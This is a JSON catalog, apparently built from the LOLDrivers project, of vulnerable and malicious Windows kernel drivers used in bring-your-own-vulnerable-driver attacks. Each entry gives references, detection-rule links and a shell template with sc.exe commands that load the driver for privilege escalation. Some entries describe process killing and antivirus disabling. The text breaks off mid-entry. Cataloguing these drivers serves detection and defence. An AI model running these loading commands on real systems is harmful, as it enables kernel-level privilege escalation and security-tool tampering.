      "file-system",
      "network-intensive",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-athpexnt",
    "install": [
      {
        "method": "custom",
        "description": "Load athpexnt.sys kernel driver",
        "commands": [
          "sc.exe create ATHpExNt binPath=C:\\windows\\temp\\ATHpExNt.sys type=kernel && sc.exe start ATHpExNt"
        ]
      }
    ],
    "name": "athpexnt.sys",
    "namespace": "windows:kernel:athpexnt",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/255"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create atillk64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\atillk64.sys type=kernel && sc.exe start atillk64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver atillk64.sys\"\n\n# atillk64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-atillk64.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/38bb9751a3a1f072d518afe6921a66ee6d5cf6d25bc50af49e1925f20d75d4d7.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/ad40e6d0f77c0e579fb87c5106bf6de3d1a9f30ee2fbf8c9c011f377fa05f173.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/ad40e6d0f77c0e579fb87c5106bf6de3d1a9f30ee2fbf8c9c011f377fa05f173.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create atillk64.sys binPath=C:\\windows\\temp\\atillk64.sys type=kernel && sc.exe start atillk64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-atillk64",
    "install": [
      {
        "method": "custom",
        "description": "Load atillk64.sys kernel driver",
        "commands": [
          "sc.exe create atillk64.sys binPath=C:\\windows\\temp\\atillk64.sys type=kernel && sc.exe start atillk64.sys"
        ]
      }
    ],
    "name": "atillk64.sys",
    "namespace": "windows:kernel:atillk64",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create atlAccesssys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\atlAccesssys.sys type=kernel && sc.exe start atlAccesssys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver atlAccess.sys\"\n\n# atlAccess.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-atlaccess.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "execution": {
      "template": "sc.exe create atlAccesssys binPath= C:\\windows\\temp\\atlAccesssys.sys type=kernel && sc.exe start atlAccesssys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-atlaccess",
    "install": [
      {
        "method": "custom",
        "description": "Load atlAccess.sys kernel driver",
        "commands": [
          "sc.exe create atlAccesssys binPath= C:\\windows\\temp\\atlAccesssys.sys type=kernel && sc.exe start atlAccesssys"
        ]
      }
    ],
    "name": "atlAccess.sys",
    "namespace": "windows:kernel:atlaccess",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create atomicredteamcapcom.sys binPath=C:\\\\windows\\\\temp\\\\atomicredteamcapcom.sys type=kernel && sc.exe start atomicredteamcapcom.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver atomicredteamcapcom.sys\"\n\n# atomicredteamcapcom.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-atomicredteamcapcom.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-atomicredteamcapcom",
    "name": "atomicredteamcapcom.sys",
    "namespace": "windows:kernel:atomicredteamcapcom",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ATSZIO.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ATSZIO.sys type=kernel && sc.exe start ATSZIO.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ATSZIO.sys\"\n\n# ATSZIO.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-atszio.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/01e024cb14b34b6d525c642a710bfa14497ea20fd287c39ba404b10a8b143ece.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create ATSZIO.sys binPath=C:\\windows\\temp\\ATSZIO.sys type=kernel && sc.exe start ATSZIO.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-atszio",
    "install": [
      {
        "method": "custom",
        "description": "Load ATSZIO.sys kernel driver",
        "commands": [
          "sc.exe create ATSZIO.sys binPath=C:\\windows\\temp\\ATSZIO.sys type=kernel && sc.exe start ATSZIO.sys"
        ]
      }
    ],
    "name": "ATSZIO.sys",
    "namespace": "windows:kernel:atszio",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/k4nfr3/af970e7facb09195e56f2112e1c9549c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create avalueiosys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\avalueiosys.sys type=kernel && sc.exe start avalueiosys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver avalueio.sys\"\n\n# avalueio.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-avalueio.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create avalueiosys binPath= C:\\windows\\temp\\avalueiosys.sys type=kernel && sc.exe start avalueiosys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-avalueio",
    "install": [
      {
        "method": "custom",
        "description": "Load avalueio.sys kernel driver",
        "commands": [
          "sc.exe create avalueiosys binPath= C:\\windows\\temp\\avalueiosys.sys type=kernel && sc.exe start avalueiosys"
        ]
      }
    ],
    "name": "avalueio.sys",
    "namespace": "windows:kernel:avalueio",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create avkiller.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\avkiller.sys type=kernel && sc.exe start avkiller.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver avkiller.sys\"\n\n# avkiller.sys\n\nSophos, from time to time, has observed a threat actor deploy variants\n    of Poortry on different machines within a single estate during an attack. These\n    variants contain the same payload, but signed with a different certificate than\n    the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-avkiller.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create avkiller.sys binPath=C:\\windows\\temp\\avkiller.sys type=kernel && sc.exe start avkiller.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-avkiller",
    "install": [
      {
        "method": "custom",
        "description": "Load avkiller.sys kernel driver",
        "commands": [
          "sc.exe create avkiller.sys binPath=C:\\windows\\temp\\avkiller.sys type=kernel && sc.exe start avkiller.sys"
        ]
      }
    ],
    "name": "avkiller.sys",
    "namespace": "windows:kernel:avkiller",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create b.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\b.sys type=kernel && sc.exe start b.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver b.sys\"\n\n# b.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-b.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create b.sys binPath=C:\\windows\\temp\\b.sys type=kernel && sc.exe start b.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-b",
    "install": [
      {
        "method": "custom",
        "description": "Load b.sys kernel driver",
        "commands": [
          "sc.exe create b.sys binPath=C:\\windows\\temp\\b.sys type=kernel && sc.exe start b.sys"
        ]
      }
    ],
    "name": "b.sys",
    "namespace": "windows:kernel:b",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create b1.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\b1.sys type=kernel && sc.exe start b1.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver b1.sys\"\n\n# b1.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-b1.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create b1.sys binPath=C:\\windows\\temp\\b1.sys type=kernel && sc.exe start b1.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-b1",
    "install": [
      {
        "method": "custom",
        "description": "Load b1.sys kernel driver",
        "commands": [
          "sc.exe create b1.sys binPath=C:\\windows\\temp\\b1.sys type=kernel && sc.exe start b1.sys"
        ]
      }
    ],
    "name": "b1.sys",
    "namespace": "windows:kernel:b1",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create b3.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\b3.sys type=kernel && sc.exe start b3.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver b3.sys\"\n\n# b3.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-b3.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create b3.sys binPath=C:\\windows\\temp\\b3.sys type=kernel && sc.exe start b3.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-b3",
    "install": [
      {
        "method": "custom",
        "description": "Load b3.sys kernel driver",
        "commands": [
          "sc.exe create b3.sys binPath=C:\\windows\\temp\\b3.sys type=kernel && sc.exe start b3.sys"
        ]
      }
    ],
    "name": "b3.sys",
    "namespace": "windows:kernel:b3",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create b4.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\b4.sys type=kernel && sc.exe start b4.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver b4.sys\"\n\n# b4.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-b4.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create b4.sys binPath=C:\\windows\\temp\\b4.sys type=kernel && sc.exe start b4.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-b4",
    "install": [
      {
        "method": "custom",
        "description": "Load b4.sys kernel driver",
        "commands": [
          "sc.exe create b4.sys binPath=C:\\windows\\temp\\b4.sys type=kernel && sc.exe start b4.sys"
        ]
      }
    ],
    "name": "b4.sys",
    "namespace": "windows:kernel:b4",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create bandai.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\bandai.sys type=kernel && sc.exe start bandai.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver bandai.sys\"\n\n# bandai.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bandai.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create bandai.sys binPath=C:\\windows\\temp\\bandai.sys type=kernel && sc.exe start bandai.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-bandai",
    "install": [
      {
        "method": "custom",
        "description": "Load bandai.sys kernel driver",
        "commands": [
          "sc.exe create bandai.sys binPath=C:\\windows\\temp\\bandai.sys type=kernel && sc.exe start bandai.sys"
        ]
      }
    ],
    "name": "bandai.sys",
    "namespace": "windows:kernel:bandai",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create KMHLPSVC binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\hlpdrv.sys type=kernel && sc.exe start KMHLPSVC\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver bd1f381e5a3db22e88776b7873d4d2835e9a1ec620571d2b1da0c58f81c84a56\"\n\n# bd1f381e5a3db22e88776b7873d4d2835e9a1ec620571d2b1da0c58f81c84a56\n\nhlpdrv.sys is a malicious driver used to disable Windows Defender by modifying registry settings. This driver has been observed in Akira ransomware campaigns, where it is deployed to facilitate AV/EDR evasion or disablement through a Bring Your Own Vulnerable Driver (BYOVD) exploitation chain. The malware modifies the DisableAntiSpyware registry key via regedit.exe execution.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bd1f381e5a3db22e88776b7873d4d2835e9a1ec620571d2b1da0c58f81c84a56.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "hlpdrv.sys is a malicious driver used to disable Windows Defender by modifying registry settings. This driver has been observed in Akira ransomware campaigns, where it is deployed to facilitate AV/EDR evasion or disablement through a Bring Your Own Vulnerable Driver (BYOVD) exploitation chain. The malware modifies the DisableAntiSpyware registry key via regedit.exe execution.",
    "detections": [
      {
        "type": "yara",
        "url": "https://www.guidepointsecurity.com/blog/gritrep-akira-sonicwall/"
      }
    ],
    "execution": {
      "template": "sc.exe create KMHLPSVC binPath=C:\\windows\\temp\\hlpdrv.sys type=kernel && sc.exe start KMHLPSVC",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-bd1f381e5a3db22e88776b7873d4d2835e9a1ec620571d2b1da0c58f81c84a56",
    "install": [
      {
        "method": "custom",
        "description": "Load bd1f381e5a3db22e88776b7873d4d2835e9a1ec620571d2b1da0c58f81c84a56 kernel driver",
        "commands": [
          "sc.exe create KMHLPSVC binPath=C:\\windows\\temp\\hlpdrv.sys type=kernel && sc.exe start KMHLPSVC"
        ]
      }
    ],
    "name": "bd1f381e5a3db22e88776b7873d4d2835e9a1ec620571d2b1da0c58f81c84a56",
    "namespace": "windows:kernel:bd1f381e5a3db22e88776b7873d4d2835e9a1ec620571d2b1da0c58f81c84a56",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.guidepointsecurity.com/blog/gritrep-akira-sonicwall/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/cf7cad39407d8cd93135be42b6bd258f.bin"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create BdApiUtil.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\BdApiUtil.sys type=kernel && sc.exe start BdApiUtil.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver BdApiUtil.sys\"\n\n# BdApiUtil.sys\n\nDriver can be used to load unsigned drivers. IOCTL code which takes a PID and terminates it (arbitrary process termination). Admin privileges required to install the driver, but if it's already installed, can be called by any user (non admin).\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-bdapiutil.md",
    "author": "christopher-ellis-workday, plisskien, Julian Pena",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver can be used to load unsigned drivers. IOCTL code which takes a PID and terminates it (arbitrary process termination). Admin privileges required to install the driver, but if it's already installed, can be called by any user (non admin).",
    "execution": {
      "template": "sc.exe create BdApiUtil.sys binPath=C:\\windows\\temp\\BdApiUtil.sys type=kernel && sc.exe start BdApiUtil.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-bdapiutil",
    "install": [
      {
        "method": "custom",
        "description": "Load BdApiUtil.sys kernel driver",
        "commands": [
          "sc.exe create BdApiUtil.sys binPath=C:\\windows\\temp\\BdApiUtil.sys type=kernel && sc.exe start BdApiUtil.sys"
        ]
      }
    ],
    "name": "BdApiUtil.sys",
    "namespace": "windows:kernel:bdapiutil",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/204"
      },
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/231"
      },
      {
        "label": "Reference",
        "url": "https://github.com/RainbowDynamix/GoodBaiii"
      },
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/byovd-loader-deadlock-ransomware/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create BdApiUtil64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\BdApiUtil64.sys type=kernel && sc.exe start BdApiUtil64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver BdApiUtil64.sys\"\n\n# BdApiUtil64.sys\n\nDriver can be used to load unsigned drivers\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bdapiutil64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver can be used to load unsigned drivers",
    "execution": {
      "template": "sc.exe create BdApiUtil64.sys binPath=C:\\windows\\temp\\BdApiUtil64.sys type=kernel && sc.exe start BdApiUtil64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-bdapiutil64",
    "install": [
      {
        "method": "custom",
        "description": "Load BdApiUtil64.sys kernel driver",
        "commands": [
          "sc.exe create BdApiUtil64.sys binPath=C:\\windows\\temp\\BdApiUtil64.sys type=kernel && sc.exe start BdApiUtil64.sys"
        ]
      }
    ],
    "name": "BdApiUtil64.sys",
    "namespace": "windows:kernel:bdapiutil64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
